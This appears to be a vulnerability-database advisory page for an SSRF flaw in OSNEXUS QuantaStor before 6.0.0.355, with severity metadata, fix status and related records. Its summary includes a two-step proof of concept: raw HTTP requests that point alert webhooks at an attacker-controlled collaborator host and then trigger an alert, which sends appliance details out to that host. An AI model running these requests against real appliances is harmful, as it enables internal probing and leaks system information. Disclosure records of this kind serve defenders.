SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Key facts
- Attack vector
- Network
- Privileges required
- High
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Information disclosure
- Confidentiality · integrity · availability
- High · None · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · CNA. Fix status from CNA. Impact type from CWE-918 and the CVSS impact.
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Partial
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
Remediation
- Fix · CNA QuantaStor (OSNEXUS) Fixed in 6.0.0.355
Fixed in the same release
Records fixed by the same vendor advisory or release, as the CNA lists them.
- Release ·
OSNEXUS QuantaStor 6.0.0.355
5 records Highest priority Priority MEDIUM 1 MEDIUM, 4 LOW
Other records, highest priority first
- TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355Priority MEDIUM 44
- TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335Priority LOW 38
- TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355Priority LOW 35
Timeline
- 2026-10-02 Threatist record created from CVE-2021-42079
- 2026-10-03 Alias added: GHSA-4v64-w7v7-ch7f
References
More OSNEXUS Quantastor vulnerabilities
- TI-2021-03263 Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others CVSS 3.1CRITICAL 9.1
- TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1CRITICAL 9.1
- TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335 CVSS 3.1HIGH 8.7
- TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.8
- TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.4
- TI-2017-07338 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked… CVSS 3.0MEDIUM 6.1
Sources
- CVE-2021-42079 · CVE Program
- CVE-2021-42079 · NVD
- FIRST EPSS
- GHSA-4v64-w7v7-ch7f · GitHub Advisory Database · CC BY 4.0
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